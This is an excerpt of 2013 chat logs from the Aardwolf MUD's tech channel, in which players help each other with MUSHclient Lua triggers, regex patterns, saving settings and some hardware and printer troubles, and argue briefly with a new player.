T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: hmm... no more errors. Thanks all!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: there we go, make that just Save()
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: oh, it's supposed to be Save()?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: err Save("") actually
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Sonshi crosses his fingers and hopes that actually saves now.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: looks like world.Save should work...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: but they likely all work
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: it would bitch if it weren't valid commands
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: the world. is assumed - it is the global space for a plugin
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: oh wait
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i see it now
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: the example includes the ("")
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: Save("")   -- Saves under current name
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: You nod at Scars.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: ah, okay. So no errors means... it's doing something, and it's probably the thing I want.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: that's a decent assumptions 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: easy to check, right?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: well, it didn't create any other files, so probably works.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: mine's been saving using that every 5 secs and I've been watching the mod time change
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: oh, right, that.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and since I don't use MUSH, there's no reason for it to be saving otherwise ;-)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: forgot about the modified time thing
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: you save ever 5 secs?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: that seems...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: overkill
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: it being 8.30am, I'm not exactly sharp... I ought to shower and get to sleep soon...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: I did to test this...as I said, I don't use MUSHclient...the only stuff in my MUSHclient is stuff that I've put there to test answers for here
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: hopefully by noon
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: oh, i misunderstood you then, i thought you were saying that you saved your tintin settings ever 5 seconds
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: you use tintin, right?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: tinyfugue
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: right, that, bad memory
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and of course, Sonshi, the correct fix would be to get your computer to stop freezing, not to save MUSHclient more often ;-)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: yeah, if only I could figure that out, I'd be happier
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: I don't ever have tinyfugue save
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i'm confused why you wouldnt have your client save
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: what should it be saving?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: I used to think it only happened when playing videos... then it happened a few times while just looking at news articles and stuff...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: aliases, triggers, scripts in general, display settings, that sort of thing
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: stop looking at news articles and stuff, that should help
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: any scripting stuff I do, I do by editing the files outside the client
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: so it's saved before the client knows about it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: froze while checking my email a while ago too. Luckily it autosaves...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: interesting, so each script is a standalone file that you direct tf to?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and saved in a much more logical manner than a list of stuff
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: well, same as most of the MUSHclient stuff...each plugin is a standalone file that you direct MUSH to ;-)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: the idea of a plugin is a new thing to me, i still think in a zmud/cmud fashion where you made classes and put crap in those for organization
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and many of us write MUSH plugins by editing the textfiles, the MUSH editor is horrible
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Notepad++ works great for Lua editing
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: even in zmud/cmud, though, you have standalone scriptfiles that you load
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: although then they get put into the main world
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i never did that, i always entered it in through the editor
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: so you've never downloaded anyone's scripts
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: the only zmud/cmud script i ever used from someone else one of ninja's scripts... and i'm pretty sure i copy/paste the code into the editor and sent it in that way
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i suppose i just misremember
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Scars Tech: i suppose i could just misremember*
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: nod, z/cmud were funny with script importing...some scripts worked with load, some had to be added other ways...danj had some info about that on his site iirc
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Wildkard Tech: does anyone use Winkle's Search_and_Destroy?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Digitalis Tech: occasionally
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Wildkard Tech: it seems to have so many nice features but goes crazy on me all the time
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Wildkard Tech: does it work ok for you?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Digitalis Tech: yeah, I haven't really been able to get everything working quite right either
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Digitalis Tech: mainly just use the ht command when trying to single out a mob
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Wildkard Tech: oke thanks 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Newchange Tech: Eh so to be clear- winkle's isn't against the rules or anything right
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, never really screwed with APU computers, but I got me a ASRock FM2A75 Pro4 MOBO which is SLI/Crossfire enabled, and I'm using a AMD A4-5300 APU for my GPU/CPU, what sort of restrictions would that put on the 2nd GPU? IE, what models am I limited to for CLI/Crossfire?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: SLI*
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I mean, I could probably still put a Titan or something in the 2nd slot, but I'm wondering if it'll just downscale anything to match the max of the integrated AMD Radeon HD 7480 of the APU
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: In Aardmush, I have a trigger     \[CP\]*   regular expresion and enabled are checked.  It works 80% of the time.  why doesn't it work all the time?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Figure out what is different on those 20% of the times. I suspect maybe an extra space, or the text is anchored or something small...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: can you notice a pattern in when it works/doesn't work? and what's the purpose of the *?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: now that you mention it, the * is extrenious, since the capture text will always be on the end of a line
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: the * doesn't even change anchoring, as it actually means [CP]]]]...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: I have been looking for a pattern for a couple days now, and it eludes me
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and regex is never anchored without using ^ and/or $
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: maybe I should strip all the non-capture characters and click the "use regex" button.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: the * in regex means "zero or more of what is just to the left of me", so that pattern would trigger on [CP as well
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: if "use regex" isn't checked, then it's not a regex
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: and you're using your knowledge of regex to try to make a glob
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: the radio button is checked... I was refering to clicking the "click to convert to regex" button after I took out all the non-capture characters
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: which would, of course, require that I also first uncheck the rtadio button
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: IMO it's almost never a good idea to click convert to regex
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: see... that comment about what exactly the "*" character does was helpful
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: I bet there is an online compendium of what ALL the characters that I have no clue about do.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: HELPFUL!?! damn, I've gotta watch it, we don't want THAT
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: this is TECH... not Q/A =)
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: helpfulness is allowed
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: You grin evilly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: all that unclick-strip-click did was add the two "anchor" charachters that you talked about
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: AND it put back in the "\"
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: and it passed an "echo [CP]" test....
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: we'll roll withthat for a while
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Vonliege Tech: it's just a highlight and a bell sound, so not exaclty critical
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: if it added ^$, then it would ONLY match a line of "[CP]", not match [CP] at the end of a longer line
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: heh, just figured out why you wanted it...oracle
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger peers around himself intently.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone have any experience on SLI/Crossfire with an APU primary CPU/GPU?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: does it count that I read that and immediately had Babylon A.D in my head?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: no bonus damage on first attacks to sleeping monsters?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there a simple way of sorting subtables by common values
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Remarto, what client?  Language?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lua, mush
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: what do you mean by common values?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: So you have nested arrays?  You looked at table.sort.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: table of names, each name having its own similar table but ust different data
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: just *
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: umm, so you want the main table sorted by name, and you then want all the same names sorted based on a subtable field?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but not sorted by name
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: you very likely would need to write a custom sorter for that.  I don't think any system sort routine has ever allowed you to apply two different sort criteria on the same dataset in the same operation.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i wrote you a function to do that earlier, remarto...
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i was disconnected before i got your answer last time
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: at least it'd be a relatively simple affair.  Just break apart your main table into separate tables, sort those, then build a names table and sort that.  You'd then rebuild your main table by iterating through the names table and inserting each individual name's subtable (I suppose you could do that all at once in LUA instead of iterating through that list as well?).
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: what's a wildcard expression in mushclient?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: or what is the wildcard expression
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: the *, or regex.  Depends on in which context you mean.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: i want to make a simple trig based on who im attacking
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: so a wildcard blah blah
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: basically want a wildcard for mob name
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: the * is for blob matching, which you do in the trigger/alias/etc editor in Mush's UI.  If you are using regex, while you can still use * there's also a whole suite of other wildcards you can use to more precisely match what you want.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: okay i think the asterisk will be fine ill test that thanks
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: okay that works
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: to give you an idea of how silly you can get with regex, the current regex pattern (in general, not specific to Mush) to completely handle all variations of a date/time string allowed by one's configuration settings is something like 5 pages long.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: ill have to study up at some point heh
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto boggles at the concept.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Hanslanda Tech: coders can get unbelievably bored.  They find things like this to offer an interesting distraction.  See also: obfuscation contests.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: just for kicks I installed tintin+
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: it's been so long since i used it
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Know what I do just for kicks? Play hacky sack.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli runs away in utter terror!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Daddy Spoke Tech: is there any plugin to identify/store in DB all your equipment?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: anyone use tintin++?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: type clients
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: cool
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: but i can't find out who they aare with that
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: is every damaging skil like coded the same with diff damage mesages only?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is overlap, but different skills and spells work differently...
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Shouldn't make any difference to how you use them though
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: like cobra hydra seem exact same
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: dirt kicking and trip are the same cept dirt can blind
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: i dont even see ar eason to use circle and thats sad
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Check out the help files for each skill/spell - different stat builds will get better results for one or another
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: but my circle is so weak i just use cobra and hydra before that
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not to mention different mobs will resist one or another more or less strongly
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: yeah i waiting for more exposure to them mobs
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: higher level skills tend to supercede some of the lower level ones.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Circle is a level 9 skill... where cobra and hydra are 63 and 51... why would you expect circle to be better?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: because it shouldnt just be a level 9 skill.. it should be one of my subclass main ability and scale off my damroll level etc
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: getting soemthign higher level shoudlnt make it exactly just stronger
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's not how things work - you will find skills and spells are very very tied to levels you recieve them at
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: then some of them are working just plain wrong 
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: In the case of most damage giving spells and skills, that is what happens. Things you have to work harder to get (higher level) tend to be stronger. :) It is life.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: not exactly
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In any case, the higher level of circle you are looking for is spiral
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: You can post an ideas note with your suggestions of how the mud should work? :)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: you not understanding the contect jaenelle so just nevermind
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: I am sorry?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: how long and how many muds have you played anyway
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: Aardwolf is aardwolf, don't compare it with other muds :)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This is one mud where confrontational 'there is one right way and it is my way' will get you nowhere
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: no one is comparing.. im asking you a question
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: so that way you can not be blockheaded and understand the contexts of my questions
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Failboat Tech: Don't worry Kagaho Not everyone is a dick on here.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: I didn't find it relevant for the question at hand. :) And it isn't very polite to call people 'blockheaded' for not understanding your questions :(
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Attacking a former imm who has 2001 as her creation date as a 3-day-noob makes you seem like a troll
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: someone with such a strong sense of how things "should" be could perhaps start by asking questions on question?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: Just a thought.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: i think you are all getting a bit butthurt for no reason.. she was rude.. i wasn't saying something should change.. im saying it was odd for a skill not to increase in power just cuz it was attained at lower level
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: and attacking and being rude to a newb just cuz you got thousands of players is rude too.. just a thoguht
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Sonshi Tech: skills do increase in power with level. No need to be rude here.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: and who was being rude
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How's about we leave this channel for tech related questions, and take this to gossip or tells
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: everythign was tech related until they started being flamey
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: You think that's flamey.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Kagaho Tech: because it seems the general consesus is that new players should know everything here and not ask questions
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: It was already suggested to you that a good place to ask questions is the question channel.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Lasher Tech: You ignored it.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Wayward Cloudie Tech: hie, does anyone know how to reset mushclient's map of an area?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: mapper purge?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: I think it's under mapper help, at least.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Wayward Cloudie Tech: for just one area?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: mapper purge area, I believe. Not 100% sure. But the instructions should be under mapper help anyway, or mapper help purge.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: Book of Etzli doesn't use MUSH, but knows a thing or two about it.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Wayward Cloudie Tech: alright, thanks. i'll go try it out
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure thing.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Wayward Cloudie Tech: yup it works. mapper purgezone (area)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Wayward Cloudie Tech: thanks for the prod in the right direction (=
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Always.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: No matter how decent I think I am with computers... the printer always outsmarts me. :P *clicked print with double sided print... got /3/ pages double sided, and 80 single sided....*
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seniseis Tech: lol ..
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seniseis Tech: u are killing trees
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: Is it just me that is too stupid to use a printer, or anyone else seem to spend time fighting  with the stupid things. :P
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: I'd perfer to blame the printer for killing trees. :P And I'd perfer to think of it as I'm supporting the timber industry :P
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: printers suck
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: printers do random fun things. like print first page instantly but wait 3-5 minutes after each page after that when printing over network
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seniseis Tech: they are givein u sneak previews
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: And then there are programs with their own print settings that are separate from the printer's print settings... so if they are both set to two per page, sometimes you get 4 per page. :P Or 'rotate' sometimes that goes all to hell. especially adobe printing. :P
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and the whole PS and CL5/6 thing
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: changing CL6 to 5 fixed the print delay thing. still no idea why and what exactly is the difference between them
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: did i mention that i hate printers? it's the one tech that never matured
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Jaenelle Tech: Dagnir: faxes are even worse though ;)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Sgurbuz Tech: is there anyway way to make a variable for the last mob you where'd or using the search and destroy plugin for a mob so everytime u backstab it will backstab the mob you where'd
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Sgurbuz Tech: or is that considered cheating
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Trigger: [*/*hp */*m */*mv *qt *tnl] >        Send: if %1 < 4000 then Note "Hp is below 4000" end -- if
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: what is wrong with that
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: need to escape the brackets and slashes i think
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and the >
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: escape? remove?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah cause they are special chars in regex, thats if your using regex
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: using lua
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah this is for lua
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: regex, regular expression
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: ah put it in reg exp then?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: If I label a specific trigger as Health, if the Send has this command: EnableTrigger("Health",False), shouldn't it disable the trigger?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Assuming you're sending to script, yes.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it should i think, but you will need a way to enable it again afterwards
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: and not sending that to the mud
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Its being sent to Script
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: But the trigger isn't being disabled :9
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: is that command in another trigger, or an alias, or what?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i your trigger fiering?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: its in the same trigger
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Check the "matches" number in the corner, and make sure it's going up
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Or add some other debug echo to make sure it's firing
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: its going up
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: The trigger is firing, but it's not disabling
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: examplt print("testing trigger fired")
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: try not capitalizing false
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes lua is case specific
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: nod
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: let me check
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Ah that was it, thank you :)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Blotdot Tech: how can i view my text when typing using telnet
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: How do I issue a command via script? I only know how to use Note "..."
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Turn on local echo, Blotdot.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: a mud command or a script command, Tymas?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Blotdot Tech: how do i accomplish that heha
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: blotdot: how to turn on local echo depends on what telnet you're using...is this a unix system, is the Windows command prompt telnet, etc?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: a mud command
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Send("blah")
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: via script
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Ah
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Blotdot Tech: windows
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: what if the command I want to send is also a script command?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: or Execute("blah") if you want it to check your MUSH aliases
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Blotdot Tech: i am using telnet from my windows computer
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Blotdot Tech: not very tech sav ha
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: What if the command I want to execute is a script command?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: not sure what you mean.  If you want to enable a trigger, you do EnableTrigger(...).  If you want to send "north" to the mud, you do Send("north")
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: assuming you're using send to script
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: What are you wanting to do?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think he wants to actually use a script file
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: I want to use a command from another script file
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: If you're using the trigger gui, there's a box near the bottom labeled "script"
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Zetkax Tech: what do you mean by a command?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: if you put something in there, it'll search your script file for that function
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: ah ok
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: I tried it but it gave me a compiling error
